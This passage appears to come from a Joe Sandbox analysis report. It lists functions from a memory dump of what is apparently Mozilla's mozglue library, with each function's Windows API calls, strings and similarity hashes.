GetSystemInfo.KERNEL32 ref: 6C9CAC98
MapViewOfFile.KERNEL32 ref: 6C9CACB0
GetSystemInfo.KERNEL32 ref: 6C9CACCD
MapViewOfFile.KERNEL32 ref: 6C9CAD05
UnmapViewOfFile.KERNEL32 ref: 6C9CAD1C
CloseHandle.KERNEL32 ref: 6C9CAD28
UnmapViewOfFile.KERNEL32 ref: 6C9CAD37
CloseHandle.KERNEL32 ref: 6C9CAD43
CloseHandle.KERNEL32 ref: 6C9CAD67

Memory Dump Source

Source File: 00000000.00000002.2735155734.000000006C961000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C960000, based on PE: true

Associated: 00000000.00000002.2735117280.000000006C960000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2735261696.000000006C9DD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2735306206.000000006C9EE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2735347682.000000006C9F2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c960000_file.jbxd

Similarity

API ID: File$View$CloseHandle$CreateInfoSystemUnmap$Mapping
String ID:
API String ID: 1192971331-0
Opcode ID: aeab245ff0520d0c25bef27baad138159b5e902f0a2f974ec9e1e2baf72d5775
Instruction ID: 4b684cd9fbbc8652758ac8e89f29857e4206b5016d9143b5e58397c321739914
Opcode Fuzzy Hash: aeab245ff0520d0c25bef27baad138159b5e902f0a2f974ec9e1e2baf72d5775
Instruction Fuzzy Hash: 143160B1A08744CFDB40EF78D64826EBBF0BF99305F11492DE98597211EB709498CB83

Function 6C979620 Relevance: 15.9, APIs: 6, Strings: 3, Instructions: 103libraryloaderCOMMON

Download Yara Rule

APIs

LoadLibraryW.KERNEL32(Api-ms-win-core-memory-l1-1-5.dll), ref: 6C979675
__Init_thread_footer.LIBCMT ref: 6C979697
LoadLibraryW.KERNEL32(ntdll.dll), ref: 6C9796E8
GetProcAddress.KERNEL32(00000000,NtMapViewOfSection), ref: 6C979707
__Init_thread_footer.LIBCMT ref: 6C97971F
SetLastError.KERNEL32(00000000,?,?,00000002,?,?), ref: 6C979773

Part of subcall function 6C99AB89: EnterCriticalSection.KERNEL32(6C9EE370,?,?,?,6C9634DE,6C9EF6CC,?,?,?,?,?,?,?,6C963284), ref: 6C99AB94
Part of subcall function 6C99AB89: LeaveCriticalSection.KERNEL32(6C9EE370,?,6C9634DE,6C9EF6CC,?,?,?,?,?,?,?,6C963284,?,?,6C9856F6), ref: 6C99ABD1

GetProcAddress.KERNEL32(00000000,MapViewOfFileNuma2), ref: 6C9797B7
FreeLibrary.KERNEL32 ref: 6C9797D0
FreeLibrary.KERNEL32 ref: 6C9797EB
SetLastError.KERNEL32(00000000,?,?,00000002,?,?), ref: 6C979824

Strings

MapViewOfFileNuma2, xrefs: 6C9797B1
Api-ms-win-core-memory-l1-1-5.dll, xrefs: 6C979670
ntdll.dll, xrefs: 6C9796E3
NtMapViewOfSection, xrefs: 6C979701

Memory Dump Source

Source File: 00000000.00000002.2735155734.000000006C961000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C960000, based on PE: true

Associated: 00000000.00000002.2735117280.000000006C960000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2735261696.000000006C9DD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2735306206.000000006C9EE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2735347682.000000006C9F2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c960000_file.jbxd

Similarity

API ID: Library$AddressCriticalErrorFreeInit_thread_footerLastLoadProcSection$EnterLeave
String ID: Api-ms-win-core-memory-l1-1-5.dll$MapViewOfFileNuma2$NtMapViewOfSection$ntdll.dll
API String ID: 409848716-3880535382
Opcode ID: 98fc70c33c622012ef72bd9233435f8807c6818598198a588f2c0f14928c3702
Instruction ID: 7e8fdfc8ad5144517c21ce8df4b63a26a1bcd6f2cd03ec9c488c05dc062ef457
Opcode Fuzzy Hash: 98fc70c33c622012ef72bd9233435f8807c6818598198a588f2c0f14928c3702
Instruction Fuzzy Hash: 5D41D371705205DBDF10CFA6E885A9677B4FFAEB28F21452AED1587B40D731E804CBA1

Function 6C961E90 Relevance: 15.1, APIs: 9, Strings: 1, Instructions: 120COMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(6C9EE784), ref: 6C961EC1
LeaveCriticalSection.KERNEL32(6C9EE784), ref: 6C961EE1
EnterCriticalSection.KERNEL32(6C9EE744), ref: 6C961F38
LeaveCriticalSection.KERNEL32(6C9EE744), ref: 6C961F5C
VirtualFree.KERNEL32(?,00100000,00004000), ref: 6C961F83
LeaveCriticalSection.KERNEL32(6C9EE784), ref: 6C961FC0
EnterCriticalSection.KERNEL32(6C9EE784), ref: 6C961FE2
LeaveCriticalSection.KERNEL32(6C9EE784), ref: 6C961FF6
memset.VCRUNTIME140(00000000,00000000,?), ref: 6C962019

Strings

MOZ_CRASH(), xrefs: 6C962000

Memory Dump Source

Source File: 00000000.00000002.2735155734.000000006C961000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C960000, based on PE: true

Associated: 00000000.00000002.2735117280.000000006C960000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2735261696.000000006C9DD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2735306206.000000006C9EE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2735347682.000000006C9F2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c960000_file.jbxd

Similarity

API ID: CriticalSection$Leave$Enter$FreeVirtualmemset
String ID: MOZ_CRASH()
API String ID: 2055633661-2608361144
Opcode ID: 2d495351624decf2593bee35b9a459aeddf51a7ec0c2cace7f58f77aded56519
Instruction ID: f2ba052cf7492c0464a59c082c8487f3e70b98e54af125d4dc2e61d60cbfbf54
Opcode Fuzzy Hash: 2d495351624decf2593bee35b9a459aeddf51a7ec0c2cace7f58f77aded56519
Instruction Fuzzy Hash: 4941F471B0531A8FEF518F6AC884B6A36B5EF6E708F140029F90597B85DB72D8048BD5

Function 6C9B0000 Relevance: 14.1, APIs: 7, Strings: 1, Instructions: 127threadCOMMON

Download Yara Rule

APIs

Part of subcall function 6C9A9420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_VERBOSE_LOGGING,6C974A68), ref: 6C9A945E
Part of subcall function 6C9A9420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_DEBUG_LOGGING), ref: 6C9A9470
Part of subcall function 6C9A9420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_LOGGING), ref: 6C9A9482
Part of subcall function 6C9A9420: __Init_thread_footer.LIBCMT ref: 6C9A949F

GetCurrentThreadId.KERNEL32 ref: 6C9B0039
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6C9B0041
GetCurrentThreadId.KERNEL32 ref: 6C9B0075
AcquireSRWLockExclusive.KERNEL32(6C9EF4B8), ref: 6C9B0082
moz_xmalloc.MOZGLUE(00000048), ref: 6C9B0090
free.MOZGLUE(?), ref: 6C9B0104
ReleaseSRWLockExclusive.KERNEL32(6C9EF4B8), ref: 6C9B011B

Strings

[D %d/%d] profiler_register_page(%llu, %llu, %s, %llu), xrefs: 6C9B005B

Memory Dump Source

Source File: 00000000.00000002.2735155734.000000006C961000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C960000, based on PE: true

Associated: 00000000.00000002.2735117280.000000006C960000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2735261696.000000006C9DD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2735306206.000000006C9EE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2735347682.000000006C9F2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c960000_file.jbxd

Similarity

API ID: getenv$CurrentExclusiveLockThread$AcquireInit_thread_footerRelease_getpidfreemoz_xmalloc
String ID: [D %d/%d] profiler_register_page(%llu, %llu, %s, %llu)
API String ID: 3012294017-637075127
Opcode ID: 97c9f2ec53b020f6942af883f80b1dcf4d860338ac7e3980faf377adf933e758
Instruction ID: 83b4b0540abaf1bb62a3b2058e3ef1be286db73bf313fde8a62dc9c725deecab
Opcode Fuzzy Hash: 97c9f2ec53b020f6942af883f80b1dcf4d860338ac7e3980faf377adf933e758
Instruction Fuzzy Hash: 08419AB1504344EFCB50CF64D844A9BBBF4FF69218F10491EE95A93B40E731E915CBA1

Function 6C977E90 Relevance: 14.1, APIs: 7, Strings: 1, Instructions: 116stringCOMMON

Download Yara Rule

APIs

strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6C977EA7
malloc.MOZGLUE(00000001), ref: 6C977EB3

Part of subcall function 6C97CAB0: EnterCriticalSection.KERNEL32(?), ref: 6C97CB49
Part of subcall function 6C97CAB0: LeaveCriticalSection.KERNEL32(?), ref: 6C97CBB6

strncpy.API-MS-WIN-CRT-STRING-L1-1-0(00000000,?,00000000), ref: 6C977EC4
mozalloc_abort.MOZGLUE(?), ref: 6C977F19
malloc.MOZGLUE(?), ref: 6C977F36
memcpy.VCRUNTIME140(00000000,?,?), ref: 6C977F4D

Strings

d, xrefs: 6C977F89

Memory Dump Source

Source File: 00000000.00000002.2735155734.000000006C961000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C960000, based on PE: true

Associated: 00000000.00000002.2735117280.000000006C960000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2735261696.000000006C9DD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2735306206.000000006C9EE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2735347682.000000006C9F2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c960000_file.jbxd

Similarity

API ID: CriticalSectionmalloc$EnterLeavememcpymozalloc_abortstrlenstrncpy
String ID: d
API String ID: 204725295-2564639436
Opcode ID: 3fb1e5cc49dcc8dca1e46f7913232e9ae6d7162592cb6cbe13af23b745bdbef5
Instruction ID: 69a7468ac97b922f51e652ed1b7a15066488a7417b186f7dc6e22aaa526188eb
Opcode Fuzzy Hash: 3fb1e5cc49dcc8dca1e46f7913232e9ae6d7162592cb6cbe13af23b745bdbef5
Instruction Fuzzy Hash: 5431E962E04688D7DB019B68CC045FEB778EFA6208F155629DD4567712FB30E5C8C7A0

Function 6C973E80 Relevance: 13.7, APIs: 9, Instructions: 246memoryCOMMON

Download Yara Rule

APIs

RtlAllocateHeap.NTDLL(?,00000000,?), ref: 6C973EEE
RtlFreeHeap.NTDLL ref: 6C973FDC
RtlAllocateHeap.NTDLL(?,00000000,00000040), ref: 6C974006
RtlFreeHeap.NTDLL ref: 6C9740A1
RtlFreeUnicodeString.NTDLL(?,?,00000000,?,?,00000000,?,?,?,?,?,?,6C973CCC), ref: 6C9740AF
RtlFreeUnicodeString.NTDLL(?,?,00000000,?,?,00000000,?,?,?,?,?,?,6C973CCC), ref: 6C9740C2
RtlFreeHeap.NTDLL ref: 6C974134
RtlFreeUnicodeString.NTDLL(?,?,00000000,?,?,?,?,?,?,6C973CCC), ref: 6C974143
RtlFreeUnicodeString.NTDLL(?,?,?,00000000,?,?,?,?,?,?,6C973CCC), ref: 6C974157

Memory Dump Source

Source File: 00000000.00000002.2735155734.000000006C961000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C960000, based on PE: true

Associated: 00000000.00000002.2735117280.000000006C960000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2735261696.000000006C9DD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2735306206.000000006C9EE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2735347682.000000006C9F2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c960000_file.jbxd

Similarity

API ID: Free$Heap$StringUnicode$Allocate
String ID:
API String ID: 3680524765-0
Opcode ID: b13ab191b94d3bc336a0173e00329c51f753acdad4a2e35824d3aa2c58c5bb22
Instruction ID: 154d79d16b68656d1e0cffe2cefc1c33a0585978868b3b81a8efc5d96e57a80d
Opcode Fuzzy Hash: b13ab191b94d3bc336a0173e00329c51f753acdad4a2e35824d3aa2c58c5bb22
Instruction Fuzzy Hash: A9A18FB1A01215CFEB50CF68C880769B7B5FF58308F2541A9D909AF742D771E996CFA0

Function 6C962030 Relevance: 13.7, APIs: 7, Strings: 2, Instructions: 204memoryCOMMON

Download Yara Rule

APIs

memcpy.VCRUNTIME140(00000000,?,6C983F47,?,?,?,6C983F47,6C981A70,?), ref: 6C96207F
memset.VCRUNTIME140(?,000000E5,6C983F47,?,6C983F47,6C981A70,?), ref: 6C9620DD
VirtualFree.KERNEL32(00100000,00100000,00004000,?,6C983F47,6C981A70,?), ref: 6C96211A
EnterCriticalSection.KERNEL32(6C9EE744,?,6C983F47,6C981A70,?), ref: 6C962145
VirtualAlloc.KERNEL32(?,00100000,00001000,00000004,?,6C983F47,6C981A70,?), ref: 6C9621BA
EnterCriticalSection.KERNEL32(6C9EE744,?,6C983F47,6C981A70,?), ref: 6C9621E0
LeaveCriticalSection.KERNEL32(6C9EE744,?,6C983F47,6C981A70,?), ref: 6C962232

Strings

MOZ_RELEASE_ASSERT(node->mArena == this), xrefs: 6C962253, 6C962268
MOZ_CRASH(), xrefs: 6C96227D

Memory Dump Source

Source File: 00000000.00000002.2735155734.000000006C961000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C960000, based on PE: true

Associated: 00000000.00000002.2735117280.000000006C960000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2735261696.000000006C9DD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2735306206.000000006C9EE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2735347682.000000006C9F2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c960000_file.jbxd

Similarity

API ID: CriticalSection$EnterVirtual$AllocFreeLeavememcpymemset
String ID: MOZ_CRASH()$MOZ_RELEASE_ASSERT(node->mArena == this)
API String ID: 889484744-884734703
Opcode ID: 69ff7bd8220be52a33ba63fe6e8d6b4849b38a1ad3e39aae8b59a4c1d8d43d18
Instruction ID: 3955bf924c4e04d34babe6acadf24d2fcac83a72945dca7d4093b150ef59391f
Opcode Fuzzy Hash: 69ff7bd8220be52a33ba63fe6e8d6b4849b38a1ad3e39aae8b59a4c1d8d43d18
Instruction Fuzzy Hash: F361E432F046068FEB04CB6AC88976E77B5AFA9318F294139E524A7ED4D731D900C781

Function 6C9648E0 Relevance: 13.7, APIs: 9, Instructions: 198COMMON

Download Yara Rule

APIs

moz_xmalloc.MOZGLUE(8E8DFFFF,?,6C9A483A,?), ref: 6C964ACB
memcpy.VCRUNTIME140(-00000023,?,8E8DFFFF,?,?,6C9A483A,?), ref: 6C964AE0
moz_xmalloc.MOZGLUE(FFFE15BF,?,6C9A483A,?), ref: 6C964A82

Part of subcall function 6C97CA10: mozalloc_abort.MOZGLUE(?), ref: 6C97CAA2

memcpy.VCRUNTIME140(-00000023,?,FFFE15BF,?,?,6C9A483A,?), ref: 6C964A97
moz_xmalloc.MOZGLUE(15D4E801,?,6C9A483A,?), ref: 6C964A35

Part of subcall function 6C97CA10: malloc.MOZGLUE(?), ref: 6C97CA26

memcpy.VCRUNTIME140(-00000023,?,15D4E801,?,?,6C9A483A,?), ref: 6C964A4A
moz_xmalloc.MOZGLUE(15D4E824,?,6C9A483A,?), ref: 6C964AF4
moz_xmalloc.MOZGLUE(FFFE15E2,?,6C9A483A,?), ref: 6C964B10
moz_xmalloc.MOZGLUE(8E8E0022,?,6C9A483A,?), ref: 6C964B2C

Memory Dump Source

Source File: 00000000.00000002.2735155734.000000006C961000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C960000, based on PE: true

Associated: 00000000.00000002.2735117280.000000006C960000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2735261696.000000006C9DD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2735306206.000000006C9EE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2735347682.000000006C9F2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c960000_file.jbxd

Similarity

API ID: moz_xmalloc$memcpy$mallocmozalloc_abort
String ID:
API String ID: 4251373892-0
Opcode ID: 5d8f15a46075c6f23e74a93108e1c775b8c62672de11371df24fb4108a31228e
Instruction ID: a84d0be199cbb28496848d864678cdc3f749461a9bf79d0afd453fb8ba94fde4
Opcode Fuzzy Hash: 5d8f15a46075c6f23e74a93108e1c775b8c62672de11371df24fb4108a31228e
Instruction Fuzzy Hash: 557179B19007069FDB14CFA9C490AAAB7F5FF19308B104A3ED15A9BF80E731E555CB90

Function 6C9B9D00 Relevance: 13.7, APIs: 9, Instructions: 178timeCOMMON

Download Yara Rule

APIs

??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,6C9B8273), ref: 6C9B9D65
free.MOZGLUE(6C9B8273,?), ref: 6C9B9D7C
free.MOZGLUE(?,?), ref: 6C9B9D92
??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(?,?), ref: 6C9B9E0F
free.MOZGLUE(6C9B946B,?,?), ref: 6C9B9E24
free.MOZGLUE(?,?,?), ref: 6C9B9E3A
??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(?,?,?), ref: 6C9B9EC8
free.MOZGLUE(6C9B946B,?,?,?), ref: 6C9B9EDF
free.MOZGLUE(?,?,?,?), ref: 6C9B9EF5

Memory Dump Source

Source File: 00000000.00000002.2735155734.000000006C961000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C960000, based on PE: true

Associated: 00000000.00000002.2735117280.000000006C960000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2735261696.000000006C9DD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2735306206.000000006C9EE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2735347682.000000006C9F2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c960000_file.jbxd

Similarity

API ID: free$StampTimeV01@@Value@mozilla@@
String ID:
API String ID: 956590011-0
Opcode ID: 832ebaf5ef3c0875936127337d436d0e734ddf81b1aae6b431855a3bbf3094fe
Instruction ID: a65b76491e3ee5d797cae369799144fe2d540189cbfdcbbddadd602a45faaab8
Opcode Fuzzy Hash: 832ebaf5ef3c0875936127337d436d0e734ddf81b1aae6b431855a3bbf3094fe
Instruction Fuzzy Hash: 3A71927050AB41EBD712CF19C48055BF3F4FFA9315B459A1DE85A5B702EB30E885CB91

Function 6C9BDDC0 Relevance: 13.7, APIs: 9, Instructions: 152COMMON

Download Yara Rule

APIs

?profiler_get_core_buffer@baseprofiler@mozilla@@YAAAVProfileChunkedBuffer@2@XZ.MOZGLUE ref: 6C9BDDCF

Part of subcall function 6C99FA00: ReleaseSRWLockExclusive.KERNEL32(?), ref: 6C99FA4B

Part of subcall function 6C9B90E0: free.MOZGLUE(?,00000000,?,?,6C9BDEDB), ref: 6C9B90FF
Part of subcall function 6C9B90E0: free.MOZGLUE(?,00000000,?,?,6C9BDEDB), ref: 6C9B9108

free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6C9BDE0D
free.MOZGLUE(00000000), ref: 6C9BDE41
free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6C9BDE5F
free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6C9BDEA3
free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6C9BDEE9
free.API-MS-WIN-CRT-HEAP-L1-1-0(?,6C9ADEFD,?,6C974A68), ref: 6C9BDF32

Part of subcall function 6C9BDAE0: ??1MutexImpl@detail@mozilla@@QAE@XZ.MOZGLUE ref: 6C9BDB86
Part of subcall function 6C9BDAE0: ??1MutexImpl@detail@mozilla@@QAE@XZ.MOZGLUE ref: 6C9BDC0E

free.API-MS-WIN-CRT-HEAP-L1-1-0(?,6C9ADEFD,?,6C974A68), ref: 6C9BDF65
free.MOZGLUE(?), ref: 6C9BDF80

Part of subcall function 6C985E90: EnterCriticalSection.KERNEL32(-0000000C), ref: 6C985EDB
Part of subcall function 6C985E90: memset.VCRUNTIME140(6C9C7765,000000E5,55CCCCCC), ref: 6C985F27
Part of subcall function 6C985E90: LeaveCriticalSection.KERNEL32(?), ref: 6C985FB2

Memory Dump Source

Source File: 00000000.00000002.2735155734.000000006C961000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C960000, based on PE: true

Associated: 00000000.00000002.2735117280.000000006C960000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2735261696.000000006C9DD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2735306206.000000006C9EE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2735347682.000000006C9F2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c960000_file.jbxd

Similarity

API ID: free$CriticalImpl@detail@mozilla@@MutexSection$?profiler_get_core_buffer@baseprofiler@mozilla@@Buffer@2@ChunkedEnterExclusiveLeaveLockProfileReleasememset
String ID:
API String ID: 112305417-0
Opcode ID: ebce671e029be9a16a9c0c71d76fd369a3e6dd31113420d3c2226e4fa82ffbdd
Instruction ID: ff01e36fd3d74c6b357ada35515ffefb1a2003522055e66ffed02d838a2a36aa
Opcode Fuzzy Hash: ebce671e029be9a16a9c0c71d76fd369a3e6dd31113420d3c2226e4fa82ffbdd
Instruction Fuzzy Hash: F451B477605701BBD7119B28C8806AFB3B6BFA5308F96051CE85A73B05D731F919CB92

Function 6C9C5D10 Relevance: 13.6, APIs: 9, Instructions: 126COMMON

Download Yara Rule

APIs

?_Fiopen@std@@YAPAU_iobuf@@PB_WHH@Z.MSVCP140(?,00000001,00000040,?,00000000,?,6C9C5C8C,?,6C99E829), ref: 6C9C5D32
?getloc@?$basic_streambuf@DU?$char_traits@D@std@@@std@@QBE?AVlocale@2@XZ.MSVCP140(?,00000000,00000001,?,?,?,?,00000000,?,6C9C5C8C,?,6C99E829), ref: 6C9C5D62
??0_Lockit@std@@QAE@H@Z.MSVCP140(00000000,?,?,?,?,00000000,?,6C9C5C8C,?,6C99E829), ref: 6C9C5D6D
??Bid@locale@std@@QAEIXZ.MSVCP140(?,?,?,?,00000000,?,6C9C5C8C,?,6C99E829), ref: 6C9C5D84
?_Getgloballocale@locale@std@@CAPAV_Locimp@12@XZ.MSVCP140(?,?,?,?,00000000,?,6C9C5C8C,?,6C99E829), ref: 6C9C5DA4
?_Getcat@?$codecvt@DDU_Mbstatet@@@std@@SAIPAPBVfacet@locale@2@PBV42@@Z.MSVCP140(?,?,?,?,?,?,00000000,?,6C9C5C8C,?,6C99E829), ref: 6C9C5DC9
std::_Facet_Register.LIBCPMT ref: 6C9C5DDB
??1_Lockit@std@@QAE@XZ.MSVCP140(?,?,?,?,00000000,?,6C9C5C8C,?,6C99E829), ref: 6C9C5E00
abort.API-MS-WIN-CRT-RUNTIME-L1-1-0(?,?,?,?,?,?,00000000,?,6C9C5C8C,?,6C99E829), ref: 6C9C5E45

Memory Dump Source

Source File: 00000000.00000002.2735155734.000000006C961000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C960000, based on PE: true

Associated: 00000000.00000002.2735117280.000000006C960000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2735261696.000000006C9DD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2735306206.000000006C9EE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2735347682.000000006C9F2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c960000_file.jbxd

Similarity

API ID: Lockit@std@@$??0_??1_?getloc@?$basic_streambuf@Bid@locale@std@@D@std@@@std@@Facet_Fiopen@std@@Getcat@?$codecvt@Getgloballocale@locale@std@@Locimp@12@Mbstatet@@@std@@RegisterU?$char_traits@U_iobuf@@V42@@Vfacet@locale@2@Vlocale@2@abortstd::_
String ID:
API String ID: 2325513730-0
Opcode ID: 5ab952971dd5b51f24ab4d2d209167d5d458ecf115006d0f6c3d11d77fbc6073
Instruction ID: 9dc92c9492394ef38cf025c1f1030d25d8cd90939c4c6e0a50f464e2c4dc9486
Opcode Fuzzy Hash: 5ab952971dd5b51f24ab4d2d209167d5d458ecf115006d0f6c3d11d77fbc6073
Instruction Fuzzy Hash: 6E418E707043059FCB00DF65C898AAE77B9EF9D318F144069E50A9B791EB34EC45CB62

Function 6C99CC60 Relevance: 13.6, APIs: 7, Strings: 2, Instructions: 104memoryCOMMON

Download Yara Rule

APIs

VirtualAlloc.KERNEL32(00000000,00003000,00003000,00000004,?,?,?,6C9631A7), ref: 6C99CDDD

Strings

<jemalloc>, xrefs: 6C99CF9F, 6C99CFB3
: (malloc) Error in VirtualFree(), xrefs: 6C99CFA4, 6C99CFB8

Memory Dump Source

Source File: 00000000.00000002.2735155734.000000006C961000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C960000, based on PE: true

Associated: 00000000.00000002.2735117280.000000006C960000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2735261696.000000006C9DD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2735306206.000000006C9EE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2735347682.000000006C9F2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c960000_file.jbxd

Similarity

API ID: AllocVirtual
String ID: : (malloc) Error in VirtualFree()$<jemalloc>
API String ID: 4275171209-2186867486
Opcode ID: 51644a73af61bd4c451e8cbc44d4e533a24f757b11e5738f3a7d994705bda751
Instruction ID: 48f6e9e746a1befbc69f35562f26cd496e6fc4d4c9df4b54e52e0d2e404b06d2
Opcode Fuzzy Hash: 51644a73af61bd4c451e8cbc44d4e533a24f757b11e5738f3a7d994705bda751
Instruction Fuzzy Hash: 8031E630B443065BFF10AFA58C45B6E7B79BF59B18F384018F616ABAC0DB70D8108BA4

Function 6C96ECD0 Relevance: 12.4, APIs: 6, Strings: 1, Instructions: 143fileCOMMON

Download Yara Rule

APIs

Part of subcall function 6C96F100: LoadLibraryW.KERNEL32(shell32,?,6C9DD020), ref: 6C96F122
Part of subcall function 6C96F100: GetProcAddress.KERNEL32(00000000,SHGetKnownFolderPath), ref: 6C96F132

moz_xmalloc.MOZGLUE(00000012), ref: 6C96ED50
wcslen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6C96EDAC
wcslen.API-MS-WIN-CRT-STRING-L1-1-0(00000000,\Mozilla\Firefox\SkeletonUILock-,00000020,?,00000000), ref: 6C96EDCC
CreateFileW.KERNEL32 ref: 6C96EE08
free.MOZGLUE(00000000), ref: 6C96EE27
free.MOZGLUE(?,?,?,?,?,?,?,00000000,00000000,00000000), ref: 6C96EE32

Part of subcall function 6C96EB90: moz_xmalloc.MOZGLUE(00000104), ref: 6C96EBB5
Part of subcall function 6C96EB90: memset.VCRUNTIME140(00000000,00000000,00000104,?,?,6C99D7F3), ref: 6C96EBC3
Part of subcall function 6C96EB90: GetModuleFileNameW.KERNEL32(00000000,00000000,00000104,?,?,?,?,?,?,6C99D7F3), ref: 6C96EBD6

Strings

\Mozilla\Firefox\SkeletonUILock-, xrefs: 6C96EDC1

Memory Dump Source

Source File: 00000000.00000002.2735155734.000000006C961000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C960000, based on PE: true

Associated: 00000000.00000002.2735117280.000000006C960000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2735261696.000000006C9DD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2735306206.000000006C9EE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2735347682.000000006C9F2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c960000_file.jbxd

Similarity

API ID: Filefreemoz_xmallocwcslen$AddressCreateLibraryLoadModuleNameProcmemset
String ID: \Mozilla\Firefox\SkeletonUILock-
API String ID: 1980384892-344433685
Opcode ID: 62a11fe2268fedc98e585b7be126c38cc7650df0c5d06d456f0940d0f1fb8904
Instruction ID: bb5dfa459c57f699a1056206158772aec3aa26d443816d100eac1a4f912f9777
